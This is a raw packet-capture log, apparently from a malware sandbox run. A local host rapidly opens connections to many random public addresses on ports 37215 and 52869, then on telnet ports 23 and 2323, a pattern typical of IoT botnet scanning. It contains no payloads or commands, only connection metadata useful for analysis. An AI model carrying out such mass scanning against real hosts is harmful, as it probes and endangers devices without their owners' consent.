Oct 6, 2024 20:00:48.746349096 CEST	52268	52869	192.168.2.15	197.6.243.246
Oct 6, 2024 20:00:48.746349096 CEST	33088	52869	192.168.2.15	156.111.21.115
Oct 6, 2024 20:00:48.746349096 CEST	59352	37215	192.168.2.15	156.112.0.159
Oct 6, 2024 20:00:48.746349096 CEST	45194	37215	192.168.2.15	197.96.94.0
Oct 6, 2024 20:00:48.746354103 CEST	47486	52869	192.168.2.15	197.102.208.139
Oct 6, 2024 20:00:48.746354103 CEST	60734	37215	192.168.2.15	41.128.123.30
Oct 6, 2024 20:00:48.746354103 CEST	58754	52869	192.168.2.15	156.78.143.45
Oct 6, 2024 20:00:48.746357918 CEST	50198	52869	192.168.2.15	41.84.181.199
Oct 6, 2024 20:00:48.746361017 CEST	58518	37215	192.168.2.15	156.42.253.125
Oct 6, 2024 20:00:48.746357918 CEST	49318	52869	192.168.2.15	197.116.43.94
Oct 6, 2024 20:00:48.746368885 CEST	43572	52869	192.168.2.15	156.113.192.250
Oct 6, 2024 20:00:48.746371031 CEST	60956	37215	192.168.2.15	197.127.80.98
Oct 6, 2024 20:00:48.746368885 CEST	59576	52869	192.168.2.15	197.167.179.38
Oct 6, 2024 20:00:48.746368885 CEST	42512	37215	192.168.2.15	156.68.15.29
Oct 6, 2024 20:00:48.746372938 CEST	44160	52869	192.168.2.15	156.84.91.166
Oct 6, 2024 20:00:48.746390104 CEST	46954	37215	192.168.2.15	156.92.240.142
Oct 6, 2024 20:00:48.746390104 CEST	36588	52869	192.168.2.15	41.33.42.120
Oct 6, 2024 20:00:48.746450901 CEST	44968	37215	192.168.2.15	156.132.32.120
Oct 6, 2024 20:00:48.751182079 CEST	37215	54668	156.129.242.169	192.168.2.15
Oct 6, 2024 20:00:48.751476049 CEST	54668	37215	192.168.2.15	156.129.242.169
Oct 6, 2024 20:00:48.751477003 CEST	54668	37215	192.168.2.15	156.129.242.169
Oct 6, 2024 20:00:48.751477003 CEST	54668	37215	192.168.2.15	156.129.242.169
Oct 6, 2024 20:00:48.751708984 CEST	55284	37215	192.168.2.15	156.129.242.169
Oct 6, 2024 20:00:48.756308079 CEST	37215	54668	156.129.242.169	192.168.2.15
Oct 6, 2024 20:00:48.756481886 CEST	37215	55284	156.129.242.169	192.168.2.15
Oct 6, 2024 20:00:48.756541967 CEST	55284	37215	192.168.2.15	156.129.242.169
Oct 6, 2024 20:00:48.756541967 CEST	55284	37215	192.168.2.15	156.129.242.169
Oct 6, 2024 20:00:48.761538029 CEST	37215	55284	156.129.242.169	192.168.2.15
Oct 6, 2024 20:00:48.761629105 CEST	37215	55284	156.129.242.169	192.168.2.15
Oct 6, 2024 20:00:48.761679888 CEST	55284	37215	192.168.2.15	156.129.242.169
Oct 6, 2024 20:00:48.765574932 CEST	37215	53382	41.245.196.43	192.168.2.15
Oct 6, 2024 20:00:48.773653984 CEST	37215	55586	156.186.47.194	192.168.2.15
Oct 6, 2024 20:00:48.773664951 CEST	37215	51502	197.248.150.107	192.168.2.15
Oct 6, 2024 20:00:48.773674011 CEST	37215	51026	41.30.135.209	192.168.2.15
Oct 6, 2024 20:00:48.773679018 CEST	37215	54520	197.100.196.209	192.168.2.15
Oct 6, 2024 20:00:48.773690939 CEST	37215	50306	197.230.212.179	192.168.2.15
Oct 6, 2024 20:00:48.773699999 CEST	37215	37000	156.221.220.140	192.168.2.15
Oct 6, 2024 20:00:48.773709059 CEST	37215	41450	41.196.187.73	192.168.2.15
Oct 6, 2024 20:00:48.777568102 CEST	37215	51078	197.6.85.118	192.168.2.15
Oct 6, 2024 20:00:48.777578115 CEST	37215	45548	156.252.219.203	192.168.2.15
Oct 6, 2024 20:00:48.777586937 CEST	37215	35814	197.199.224.132	192.168.2.15
Oct 6, 2024 20:00:48.778264999 CEST	48356	37215	192.168.2.15	197.98.207.60
Oct 6, 2024 20:00:48.778287888 CEST	43180	37215	192.168.2.15	156.55.237.218
Oct 6, 2024 20:00:48.778287888 CEST	41196	37215	192.168.2.15	41.255.27.97
Oct 6, 2024 20:00:48.778294086 CEST	54364	37215	192.168.2.15	41.242.86.254
Oct 6, 2024 20:00:48.778294086 CEST	55922	37215	192.168.2.15	197.89.91.100
Oct 6, 2024 20:00:48.778300047 CEST	47194	37215	192.168.2.15	197.82.211.21
Oct 6, 2024 20:00:48.778306007 CEST	50306	37215	192.168.2.15	41.218.74.136
Oct 6, 2024 20:00:48.778309107 CEST	52484	37215	192.168.2.15	197.203.124.49
Oct 6, 2024 20:00:48.778309107 CEST	59888	52869	192.168.2.15	41.111.81.107
Oct 6, 2024 20:00:48.778309107 CEST	47148	52869	192.168.2.15	156.67.119.255
Oct 6, 2024 20:00:48.778309107 CEST	56066	52869	192.168.2.15	156.5.234.27
Oct 6, 2024 20:00:48.778309107 CEST	49908	37215	192.168.2.15	197.240.195.4
Oct 6, 2024 20:00:48.778318882 CEST	59266	37215	192.168.2.15	41.128.20.63
Oct 6, 2024 20:00:48.778321981 CEST	58200	52869	192.168.2.15	197.175.106.121
Oct 6, 2024 20:00:48.778322935 CEST	43792	37215	192.168.2.15	41.50.215.105
Oct 6, 2024 20:00:48.778327942 CEST	37584	52869	192.168.2.15	156.11.241.64
Oct 6, 2024 20:00:48.778331041 CEST	37776	52869	192.168.2.15	197.229.67.248
Oct 6, 2024 20:00:48.778331041 CEST	51066	52869	192.168.2.15	156.43.59.77
Oct 6, 2024 20:00:48.778367043 CEST	49594	37215	192.168.2.15	41.168.107.217
Oct 6, 2024 20:00:48.778367043 CEST	60600	37215	192.168.2.15	156.106.97.223
Oct 6, 2024 20:00:48.778367043 CEST	39690	37215	192.168.2.15	197.194.140.67
Oct 6, 2024 20:00:48.778367043 CEST	60506	37215	192.168.2.15	41.150.0.113
Oct 6, 2024 20:00:48.778423071 CEST	34864	37215	192.168.2.15	197.189.46.106
Oct 6, 2024 20:00:48.778423071 CEST	58630	37215	192.168.2.15	197.192.233.157
Oct 6, 2024 20:00:48.778423071 CEST	58874	37215	192.168.2.15	197.41.142.52
Oct 6, 2024 20:00:48.783242941 CEST	37215	48356	197.98.207.60	192.168.2.15
Oct 6, 2024 20:00:48.783262014 CEST	37215	54364	41.242.86.254	192.168.2.15
Oct 6, 2024 20:00:48.783272028 CEST	37215	43180	156.55.237.218	192.168.2.15
Oct 6, 2024 20:00:48.783309937 CEST	48356	37215	192.168.2.15	197.98.207.60
Oct 6, 2024 20:00:48.783318996 CEST	54364	37215	192.168.2.15	41.242.86.254
Oct 6, 2024 20:00:48.783319950 CEST	43180	37215	192.168.2.15	156.55.237.218
Oct 6, 2024 20:00:48.783366919 CEST	48356	37215	192.168.2.15	197.98.207.60
Oct 6, 2024 20:00:48.783427954 CEST	54364	37215	192.168.2.15	41.242.86.254
Oct 6, 2024 20:00:48.783427954 CEST	54364	37215	192.168.2.15	41.242.86.254
Oct 6, 2024 20:00:48.783927917 CEST	54498	37215	192.168.2.15	41.242.86.254
Oct 6, 2024 20:00:48.784303904 CEST	43180	37215	192.168.2.15	156.55.237.218
Oct 6, 2024 20:00:48.784303904 CEST	43180	37215	192.168.2.15	156.55.237.218
Oct 6, 2024 20:00:48.784671068 CEST	43312	37215	192.168.2.15	156.55.237.218
Oct 6, 2024 20:00:48.788216114 CEST	37215	54364	41.242.86.254	192.168.2.15
Oct 6, 2024 20:00:48.788636923 CEST	37215	48356	197.98.207.60	192.168.2.15
Oct 6, 2024 20:00:48.788686991 CEST	48356	37215	192.168.2.15	197.98.207.60
Oct 6, 2024 20:00:48.789079905 CEST	37215	43180	156.55.237.218	192.168.2.15
Oct 6, 2024 20:00:48.797581911 CEST	37215	54668	156.129.242.169	192.168.2.15
Oct 6, 2024 20:00:48.810283899 CEST	54144	37215	192.168.2.15	156.28.135.157
Oct 6, 2024 20:00:48.810291052 CEST	56532	37215	192.168.2.15	156.91.147.218
Oct 6, 2024 20:00:48.810291052 CEST	33898	52869	192.168.2.15	197.29.5.14
Oct 6, 2024 20:00:48.810296059 CEST	56146	52869	192.168.2.15	41.219.49.191
Oct 6, 2024 20:00:48.810297012 CEST	41784	52869	192.168.2.15	156.254.20.162
Oct 6, 2024 20:00:48.810301065 CEST	37156	37215	192.168.2.15	197.229.12.237
Oct 6, 2024 20:00:48.810307026 CEST	52128	37215	192.168.2.15	41.58.165.93
Oct 6, 2024 20:00:48.810324907 CEST	35556	52869	192.168.2.15	41.8.233.71
Oct 6, 2024 20:00:48.810333967 CEST	49252	37215	192.168.2.15	197.235.232.143
Oct 6, 2024 20:00:48.810337067 CEST	43146	37215	192.168.2.15	41.61.136.167
Oct 6, 2024 20:00:48.810337067 CEST	52248	52869	192.168.2.15	156.203.57.172
Oct 6, 2024 20:00:48.810338020 CEST	59230	52869	192.168.2.15	156.79.32.11
Oct 6, 2024 20:00:48.810340881 CEST	47460	37215	192.168.2.15	197.150.169.53
Oct 6, 2024 20:00:48.810353994 CEST	35460	52869	192.168.2.15	197.196.108.9
Oct 6, 2024 20:00:48.815172911 CEST	37215	56532	156.91.147.218	192.168.2.15
Oct 6, 2024 20:00:48.815185070 CEST	37215	54144	156.28.135.157	192.168.2.15
Oct 6, 2024 20:00:48.815193892 CEST	52869	56146	41.219.49.191	192.168.2.15
Oct 6, 2024 20:00:48.815274954 CEST	56532	37215	192.168.2.15	156.91.147.218
Oct 6, 2024 20:00:48.815278053 CEST	54144	37215	192.168.2.15	156.28.135.157
Oct 6, 2024 20:00:48.815304995 CEST	56146	52869	192.168.2.15	41.219.49.191
Oct 6, 2024 20:00:48.815407991 CEST	56146	52869	192.168.2.15	41.219.49.191
Oct 6, 2024 20:00:48.815502882 CEST	54144	37215	192.168.2.15	156.28.135.157
Oct 6, 2024 20:00:48.815522909 CEST	56532	37215	192.168.2.15	156.91.147.218
Oct 6, 2024 20:00:48.820395947 CEST	37215	54144	156.28.135.157	192.168.2.15
Oct 6, 2024 20:00:48.820455074 CEST	54144	37215	192.168.2.15	156.28.135.157
Oct 6, 2024 20:00:48.820717096 CEST	37215	56532	156.91.147.218	192.168.2.15
Oct 6, 2024 20:00:48.820765018 CEST	56532	37215	192.168.2.15	156.91.147.218
Oct 6, 2024 20:00:48.820806980 CEST	52869	56146	41.219.49.191	192.168.2.15
Oct 6, 2024 20:00:48.820859909 CEST	56146	52869	192.168.2.15	41.219.49.191
Oct 6, 2024 20:00:48.829571962 CEST	37215	43180	156.55.237.218	192.168.2.15
Oct 6, 2024 20:00:48.829582930 CEST	37215	54364	41.242.86.254	192.168.2.15
Oct 6, 2024 20:00:48.842262030 CEST	54592	52869	192.168.2.15	197.104.236.18
Oct 6, 2024 20:00:48.842263937 CEST	50008	52869	192.168.2.15	41.29.252.39
Oct 6, 2024 20:00:48.842263937 CEST	45870	37215	192.168.2.15	41.241.161.251
Oct 6, 2024 20:00:48.842264891 CEST	55850	37215	192.168.2.15	197.137.68.198
Oct 6, 2024 20:00:48.842284918 CEST	46260	52869	192.168.2.15	156.121.102.48
Oct 6, 2024 20:00:48.842287064 CEST	47844	52869	192.168.2.15	41.21.163.213
Oct 6, 2024 20:00:48.842305899 CEST	49200	37215	192.168.2.15	41.240.79.98
Oct 6, 2024 20:00:48.842308998 CEST	50246	37215	192.168.2.15	156.203.1.203
Oct 6, 2024 20:00:48.842314959 CEST	60314	52869	192.168.2.15	197.218.118.61
Oct 6, 2024 20:00:48.842314959 CEST	38260	52869	192.168.2.15	156.10.0.100
Oct 6, 2024 20:00:48.842318058 CEST	55086	37215	192.168.2.15	156.112.233.104
Oct 6, 2024 20:00:48.842334986 CEST	53210	52869	192.168.2.15	197.126.27.231
Oct 6, 2024 20:00:48.842334986 CEST	37374	52869	192.168.2.15	197.177.84.199
Oct 6, 2024 20:00:48.842335939 CEST	43312	37215	192.168.2.15	156.77.142.2
Oct 6, 2024 20:00:48.842340946 CEST	41494	37215	192.168.2.15	197.66.17.119
Oct 6, 2024 20:00:48.842396021 CEST	51066	52869	192.168.2.15	156.135.133.206
Oct 6, 2024 20:00:48.842396021 CEST	43002	37215	192.168.2.15	156.35.78.115
Oct 6, 2024 20:00:48.842396021 CEST	56940	37215	192.168.2.15	41.166.51.57
Oct 6, 2024 20:00:48.847049952 CEST	52869	50008	41.29.252.39	192.168.2.15
Oct 6, 2024 20:00:48.847063065 CEST	37215	45870	41.241.161.251	192.168.2.15
Oct 6, 2024 20:00:48.847073078 CEST	52869	54592	197.104.236.18	192.168.2.15
Oct 6, 2024 20:00:48.847104073 CEST	50008	52869	192.168.2.15	41.29.252.39
Oct 6, 2024 20:00:48.847124100 CEST	45870	37215	192.168.2.15	41.241.161.251
Oct 6, 2024 20:00:48.847141981 CEST	54592	52869	192.168.2.15	197.104.236.18
Oct 6, 2024 20:00:48.847189903 CEST	54592	52869	192.168.2.15	197.104.236.18
Oct 6, 2024 20:00:48.847201109 CEST	50008	52869	192.168.2.15	41.29.252.39
Oct 6, 2024 20:00:48.847251892 CEST	45870	37215	192.168.2.15	41.241.161.251
Oct 6, 2024 20:00:48.852341890 CEST	52869	50008	41.29.252.39	192.168.2.15
Oct 6, 2024 20:00:48.852395058 CEST	50008	52869	192.168.2.15	41.29.252.39
Oct 6, 2024 20:00:48.852622986 CEST	37215	45870	41.241.161.251	192.168.2.15
Oct 6, 2024 20:00:48.852679014 CEST	45870	37215	192.168.2.15	41.241.161.251
Oct 6, 2024 20:00:48.852715969 CEST	52869	54592	197.104.236.18	192.168.2.15
Oct 6, 2024 20:00:48.852761030 CEST	54592	52869	192.168.2.15	197.104.236.18
Oct 6, 2024 20:00:48.874281883 CEST	40038	52869	192.168.2.15	41.32.233.53
Oct 6, 2024 20:00:48.874289989 CEST	47562	52869	192.168.2.15	197.109.187.45
Oct 6, 2024 20:00:48.874300003 CEST	51550	37215	192.168.2.15	41.113.206.125
Oct 6, 2024 20:00:48.874300003 CEST	35138	52869	192.168.2.15	156.159.83.36
Oct 6, 2024 20:00:48.874301910 CEST	42670	37215	192.168.2.15	156.104.113.198
Oct 6, 2024 20:00:48.874300957 CEST	50662	37215	192.168.2.15	197.6.95.61
Oct 6, 2024 20:00:48.874320984 CEST	59950	37215	192.168.2.15	156.209.57.80
Oct 6, 2024 20:00:48.874327898 CEST	52320	37215	192.168.2.15	197.233.118.113
Oct 6, 2024 20:00:48.874330997 CEST	50980	52869	192.168.2.15	197.85.205.5
Oct 6, 2024 20:00:48.874330997 CEST	55432	52869	192.168.2.15	197.253.224.211
Oct 6, 2024 20:00:48.874330997 CEST	46426	52869	192.168.2.15	156.168.114.112
Oct 6, 2024 20:00:48.874391079 CEST	60938	37215	192.168.2.15	197.164.143.249
Oct 6, 2024 20:00:48.874391079 CEST	53556	37215	192.168.2.15	156.189.150.200
Oct 6, 2024 20:00:48.874391079 CEST	42474	37215	192.168.2.15	41.216.18.137
Oct 6, 2024 20:00:48.879507065 CEST	52869	40038	41.32.233.53	192.168.2.15
Oct 6, 2024 20:00:48.879519939 CEST	37215	51550	41.113.206.125	192.168.2.15
Oct 6, 2024 20:00:48.879529953 CEST	52869	47562	197.109.187.45	192.168.2.15
Oct 6, 2024 20:00:48.879582882 CEST	40038	52869	192.168.2.15	41.32.233.53
Oct 6, 2024 20:00:48.879587889 CEST	47562	52869	192.168.2.15	197.109.187.45
Oct 6, 2024 20:00:48.879595995 CEST	51550	37215	192.168.2.15	41.113.206.125
Oct 6, 2024 20:00:48.879651070 CEST	47562	52869	192.168.2.15	197.109.187.45
Oct 6, 2024 20:00:48.879673004 CEST	40038	52869	192.168.2.15	41.32.233.53
Oct 6, 2024 20:00:48.879807949 CEST	51550	37215	192.168.2.15	41.113.206.125
Oct 6, 2024 20:00:48.884743929 CEST	52869	40038	41.32.233.53	192.168.2.15
Oct 6, 2024 20:00:48.884803057 CEST	40038	52869	192.168.2.15	41.32.233.53
Oct 6, 2024 20:00:48.884948015 CEST	52869	47562	197.109.187.45	192.168.2.15
Oct 6, 2024 20:00:48.884995937 CEST	47562	52869	192.168.2.15	197.109.187.45
Oct 6, 2024 20:00:48.885040998 CEST	37215	51550	41.113.206.125	192.168.2.15
Oct 6, 2024 20:00:48.885096073 CEST	51550	37215	192.168.2.15	41.113.206.125
Oct 6, 2024 20:00:48.906250000 CEST	53960	52869	192.168.2.15	41.107.203.68
Oct 6, 2024 20:00:48.906265974 CEST	53810	37215	192.168.2.15	156.59.176.98
Oct 6, 2024 20:00:48.906266928 CEST	58482	37215	192.168.2.15	41.147.247.83
Oct 6, 2024 20:00:48.906271935 CEST	37736	52869	192.168.2.15	41.226.63.180
Oct 6, 2024 20:00:48.906277895 CEST	44724	37215	192.168.2.15	41.216.41.161
Oct 6, 2024 20:00:48.906277895 CEST	39144	52869	192.168.2.15	41.90.125.11
Oct 6, 2024 20:00:48.906286955 CEST	53962	37215	192.168.2.15	197.103.184.79
Oct 6, 2024 20:00:48.906291008 CEST	58334	52869	192.168.2.15	41.67.114.133
Oct 6, 2024 20:00:48.906291008 CEST	46848	37215	192.168.2.15	156.33.124.178
Oct 6, 2024 20:00:48.906291962 CEST	34850	37215	192.168.2.15	156.140.244.109
Oct 6, 2024 20:00:48.906291008 CEST	41298	37215	192.168.2.15	197.23.127.152
Oct 6, 2024 20:00:48.906296968 CEST	52166	37215	192.168.2.15	41.138.115.205
Oct 6, 2024 20:00:48.906307936 CEST	59390	37215	192.168.2.15	197.252.154.175
Oct 6, 2024 20:00:48.906311035 CEST	53538	37215	192.168.2.15	197.30.226.169
Oct 6, 2024 20:00:48.906311989 CEST	37778	37215	192.168.2.15	156.169.96.48
Oct 6, 2024 20:00:48.906311989 CEST	36846	37215	192.168.2.15	197.36.180.150
Oct 6, 2024 20:00:48.906313896 CEST	40828	37215	192.168.2.15	156.87.207.127
Oct 6, 2024 20:00:48.906315088 CEST	50610	37215	192.168.2.15	197.163.24.101
Oct 6, 2024 20:00:48.906318903 CEST	36720	37215	192.168.2.15	197.173.47.28
Oct 6, 2024 20:00:48.906325102 CEST	47478	37215	192.168.2.15	197.89.171.150
Oct 6, 2024 20:00:48.906335115 CEST	57772	37215	192.168.2.15	197.104.12.72
Oct 6, 2024 20:00:48.911269903 CEST	37215	53810	156.59.176.98	192.168.2.15
Oct 6, 2024 20:00:48.911282063 CEST	37215	58482	41.147.247.83	192.168.2.15
Oct 6, 2024 20:00:48.911292076 CEST	52869	53960	41.107.203.68	192.168.2.15
Oct 6, 2024 20:00:48.911325932 CEST	53810	37215	192.168.2.15	156.59.176.98
Oct 6, 2024 20:00:48.911544085 CEST	58482	37215	192.168.2.15	41.147.247.83
Oct 6, 2024 20:00:48.911544085 CEST	58482	37215	192.168.2.15	41.147.247.83
Oct 6, 2024 20:00:48.911545992 CEST	53810	37215	192.168.2.15	156.59.176.98
Oct 6, 2024 20:00:48.911547899 CEST	53960	52869	192.168.2.15	41.107.203.68
Oct 6, 2024 20:00:48.911547899 CEST	53960	52869	192.168.2.15	41.107.203.68
Oct 6, 2024 20:00:48.916528940 CEST	37215	53810	156.59.176.98	192.168.2.15
Oct 6, 2024 20:00:48.916584969 CEST	53810	37215	192.168.2.15	156.59.176.98
Oct 6, 2024 20:00:48.916693926 CEST	52869	53960	41.107.203.68	192.168.2.15
Oct 6, 2024 20:00:48.916748047 CEST	53960	52869	192.168.2.15	41.107.203.68
Oct 6, 2024 20:00:48.916785002 CEST	37215	58482	41.147.247.83	192.168.2.15
Oct 6, 2024 20:00:48.916831970 CEST	58482	37215	192.168.2.15	41.147.247.83
Oct 6, 2024 20:00:48.938252926 CEST	42242	37215	192.168.2.15	197.248.57.110
Oct 6, 2024 20:00:48.938270092 CEST	41398	37215	192.168.2.15	156.246.99.143
Oct 6, 2024 20:00:48.938270092 CEST	45250	37215	192.168.2.15	41.120.65.207
Oct 6, 2024 20:00:48.938277960 CEST	54092	37215	192.168.2.15	41.196.72.88
Oct 6, 2024 20:00:48.938290119 CEST	54138	37215	192.168.2.15	197.251.92.146
Oct 6, 2024 20:00:48.938297033 CEST	55204	37215	192.168.2.15	41.10.114.12
Oct 6, 2024 20:00:48.938297987 CEST	48776	37215	192.168.2.15	41.42.204.129
Oct 6, 2024 20:00:48.938297987 CEST	59118	37215	192.168.2.15	41.26.146.231
Oct 6, 2024 20:00:48.938298941 CEST	56546	37215	192.168.2.15	197.63.163.35
Oct 6, 2024 20:00:48.938308954 CEST	55516	37215	192.168.2.15	197.164.25.106
Oct 6, 2024 20:00:48.938308954 CEST	47262	37215	192.168.2.15	156.252.170.108
Oct 6, 2024 20:00:48.938309908 CEST	46572	37215	192.168.2.15	41.117.90.99
Oct 6, 2024 20:00:48.938309908 CEST	55592	37215	192.168.2.15	197.247.139.132
Oct 6, 2024 20:00:48.938309908 CEST	54334	37215	192.168.2.15	156.149.6.181
Oct 6, 2024 20:00:48.938314915 CEST	41460	37215	192.168.2.15	41.52.161.212
Oct 6, 2024 20:00:48.938314915 CEST	47332	37215	192.168.2.15	156.242.29.171
Oct 6, 2024 20:00:48.938414097 CEST	59336	37215	192.168.2.15	41.163.209.214
Oct 6, 2024 20:00:48.943309069 CEST	37215	42242	197.248.57.110	192.168.2.15
Oct 6, 2024 20:00:48.943320990 CEST	37215	41398	156.246.99.143	192.168.2.15
Oct 6, 2024 20:00:48.943330050 CEST	37215	45250	41.120.65.207	192.168.2.15
Oct 6, 2024 20:00:48.943341017 CEST	37215	54092	41.196.72.88	192.168.2.15
Oct 6, 2024 20:00:48.943368912 CEST	42242	37215	192.168.2.15	197.248.57.110
Oct 6, 2024 20:00:48.943372011 CEST	41398	37215	192.168.2.15	156.246.99.143
Oct 6, 2024 20:00:48.943398952 CEST	45250	37215	192.168.2.15	41.120.65.207
Oct 6, 2024 20:00:48.943404913 CEST	54092	37215	192.168.2.15	41.196.72.88
Oct 6, 2024 20:00:48.943456888 CEST	42242	37215	192.168.2.15	197.248.57.110
Oct 6, 2024 20:00:48.943471909 CEST	41398	37215	192.168.2.15	156.246.99.143
Oct 6, 2024 20:00:48.943471909 CEST	45250	37215	192.168.2.15	41.120.65.207
Oct 6, 2024 20:00:48.943474054 CEST	54092	37215	192.168.2.15	41.196.72.88
Oct 6, 2024 20:00:48.948735952 CEST	37215	42242	197.248.57.110	192.168.2.15
Oct 6, 2024 20:00:48.948798895 CEST	42242	37215	192.168.2.15	197.248.57.110
Oct 6, 2024 20:00:48.949064970 CEST	37215	41398	156.246.99.143	192.168.2.15
Oct 6, 2024 20:00:48.949218988 CEST	37215	45250	41.120.65.207	192.168.2.15
Oct 6, 2024 20:00:48.949233055 CEST	41398	37215	192.168.2.15	156.246.99.143
Oct 6, 2024 20:00:48.949254036 CEST	45250	37215	192.168.2.15	41.120.65.207
Oct 6, 2024 20:00:48.949295044 CEST	37215	54092	41.196.72.88	192.168.2.15
Oct 6, 2024 20:00:48.949660063 CEST	54092	37215	192.168.2.15	41.196.72.88
Oct 6, 2024 20:00:49.578428984 CEST	39108	23	192.168.2.15	84.64.94.64
Oct 6, 2024 20:00:49.578464031 CEST	38770	23	192.168.2.15	193.114.88.114
Oct 6, 2024 20:00:49.578465939 CEST	43414	23	192.168.2.15	200.229.127.222
Oct 6, 2024 20:00:49.578469992 CEST	41688	23	192.168.2.15	203.113.110.39
Oct 6, 2024 20:00:49.578470945 CEST	57252	23	192.168.2.15	189.140.84.46
Oct 6, 2024 20:00:49.578495979 CEST	38592	23	192.168.2.15	38.164.196.136
Oct 6, 2024 20:00:49.578496933 CEST	35824	23	192.168.2.15	103.199.112.240
Oct 6, 2024 20:00:49.578496933 CEST	34698	23	192.168.2.15	83.30.149.56
Oct 6, 2024 20:00:49.578510046 CEST	55452	23	192.168.2.15	99.94.176.231
Oct 6, 2024 20:00:49.578512907 CEST	59078	2323	192.168.2.15	195.12.46.12
Oct 6, 2024 20:00:49.578512907 CEST	37704	23	192.168.2.15	120.179.224.212
Oct 6, 2024 20:00:49.578515053 CEST	33220	23	192.168.2.15	197.72.10.36
Oct 6, 2024 20:00:49.578515053 CEST	58838	23	192.168.2.15	78.18.30.234
Oct 6, 2024 20:00:49.578526974 CEST	35156	23	192.168.2.15	39.109.90.165
Oct 6, 2024 20:00:49.578526020 CEST	41884	23	192.168.2.15	116.232.146.229
Oct 6, 2024 20:00:49.578541040 CEST	59430	2323	192.168.2.15	88.69.200.18
Oct 6, 2024 20:00:49.578556061 CEST	57038	23	192.168.2.15	102.174.82.62
Oct 6, 2024 20:00:49.578562975 CEST	32774	23	192.168.2.15	195.83.136.216
Oct 6, 2024 20:00:49.578562975 CEST	43392	23	192.168.2.15	128.29.132.205
Oct 6, 2024 20:00:49.578562975 CEST	59728	23	192.168.2.15	148.86.128.233
Oct 6, 2024 20:00:49.578569889 CEST	42802	23	192.168.2.15	70.181.230.72
Oct 6, 2024 20:00:49.578582048 CEST	32816	23	192.168.2.15	108.65.125.217
Oct 6, 2024 20:00:49.578598976 CEST	39226	2323	192.168.2.15	158.58.190.114
Oct 6, 2024 20:00:49.584003925 CEST	23	39108	84.64.94.64	192.168.2.15
Oct 6, 2024 20:00:49.584050894 CEST	23	43414	200.229.127.222	192.168.2.15
Oct 6, 2024 20:00:49.584086895 CEST	23	41688	203.113.110.39	192.168.2.15
Oct 6, 2024 20:00:49.584091902 CEST	39108	23	192.168.2.15	84.64.94.64
Oct 6, 2024 20:00:49.584124088 CEST	23	57252	189.140.84.46	192.168.2.15
Oct 6, 2024 20:00:49.584135056 CEST	43414	23	192.168.2.15	200.229.127.222
Oct 6, 2024 20:00:49.584161997 CEST	57252	23	192.168.2.15	189.140.84.46
Oct 6, 2024 20:00:49.584239006 CEST	50952	2323	192.168.2.15	53.253.149.4
Oct 6, 2024 20:00:49.584239960 CEST	41688	23	192.168.2.15	203.113.110.39
Oct 6, 2024 20:00:49.584263086 CEST	50952	23	192.168.2.15	155.13.147.46
Oct 6, 2024 20:00:49.584265947 CEST	50952	23	192.168.2.15	177.82.209.60
Oct 6, 2024 20:00:49.584270000 CEST	50952	23	192.168.2.15	223.69.62.204
Oct 6, 2024 20:00:49.584270000 CEST	50952	23	192.168.2.15	117.228.184.134
Oct 6, 2024 20:00:49.584270000 CEST	50952	23	192.168.2.15	122.92.49.205
Oct 6, 2024 20:00:49.584292889 CEST	50952	23	192.168.2.15	93.217.224.151
Oct 6, 2024 20:00:49.584306955 CEST	50952	23	192.168.2.15	4.42.181.135
Oct 6, 2024 20:00:49.584310055 CEST	50952	23	192.168.2.15	175.66.114.127
Oct 6, 2024 20:00:49.584310055 CEST	50952	23	192.168.2.15	194.0.90.173
Oct 6, 2024 20:00:49.584310055 CEST	50952	23	192.168.2.15	89.151.73.182
Oct 6, 2024 20:00:49.584320068 CEST	50952	23	192.168.2.15	60.233.198.43
Oct 6, 2024 20:00:49.584321976 CEST	50952	2323	192.168.2.15	144.42.2.42
Oct 6, 2024 20:00:49.584321976 CEST	50952	23	192.168.2.15	123.176.214.7
Oct 6, 2024 20:00:49.584322929 CEST	50952	23	192.168.2.15	81.172.252.54
Oct 6, 2024 20:00:49.584321976 CEST	50952	23	192.168.2.15	84.3.165.69
Oct 6, 2024 20:00:49.584321976 CEST	50952	23	192.168.2.15	81.173.129.217
Oct 6, 2024 20:00:49.584322929 CEST	50952	23	192.168.2.15	146.240.88.185
Oct 6, 2024 20:00:49.584328890 CEST	50952	23	192.168.2.15	53.176.83.104
Oct 6, 2024 20:00:49.584328890 CEST	50952	23	192.168.2.15	107.67.55.125
Oct 6, 2024 20:00:49.584330082 CEST	50952	23	192.168.2.15	14.107.162.156
Oct 6, 2024 20:00:49.584330082 CEST	50952	2323	192.168.2.15	43.151.189.206
Oct 6, 2024 20:00:49.584336996 CEST	50952	23	192.168.2.15	162.141.134.63
Oct 6, 2024 20:00:49.584340096 CEST	50952	23	192.168.2.15	108.111.198.21
Oct 6, 2024 20:00:49.584340096 CEST	50952	23	192.168.2.15	149.22.10.208
Oct 6, 2024 20:00:49.584340096 CEST	50952	23	192.168.2.15	41.36.79.251
Oct 6, 2024 20:00:49.584342003 CEST	50952	23	192.168.2.15	109.248.209.242
Oct 6, 2024 20:00:49.584342003 CEST	50952	23	192.168.2.15	81.23.237.208
Oct 6, 2024 20:00:49.584346056 CEST	50952	23	192.168.2.15	47.140.240.5
Oct 6, 2024 20:00:49.584353924 CEST	50952	2323	192.168.2.15	136.83.135.174
Oct 6, 2024 20:00:49.584367037 CEST	50952	23	192.168.2.15	149.17.95.84
Oct 6, 2024 20:00:49.584373951 CEST	50952	23	192.168.2.15	197.64.67.235
Oct 6, 2024 20:00:49.584386110 CEST	50952	23	192.168.2.15	118.253.58.198
Oct 6, 2024 20:00:49.584388018 CEST	50952	23	192.168.2.15	91.39.89.35
Oct 6, 2024 20:00:49.584394932 CEST	50952	23	192.168.2.15	162.44.74.116
Oct 6, 2024 20:00:49.584397078 CEST	50952	23	192.168.2.15	20.27.211.254
Oct 6, 2024 20:00:49.584397078 CEST	50952	23	192.168.2.15	125.178.207.16
Oct 6, 2024 20:00:49.584413052 CEST	50952	23	192.168.2.15	191.135.17.36
Oct 6, 2024 20:00:49.584413052 CEST	50952	23	192.168.2.15	92.207.192.63
Oct 6, 2024 20:00:49.584429026 CEST	50952	23	192.168.2.15	57.56.237.211
Oct 6, 2024 20:00:49.584450006 CEST	50952	2323	192.168.2.15	106.49.48.219
Oct 6, 2024 20:00:49.584456921 CEST	50952	23	192.168.2.15	199.116.132.173
Oct 6, 2024 20:00:49.584458113 CEST	50952	23	192.168.2.15	206.66.221.117
Oct 6, 2024 20:00:49.584465981 CEST	50952	23	192.168.2.15	218.43.57.39
Oct 6, 2024 20:00:49.584465981 CEST	50952	23	192.168.2.15	213.89.135.127
Oct 6, 2024 20:00:49.584475040 CEST	50952	23	192.168.2.15	110.112.123.7
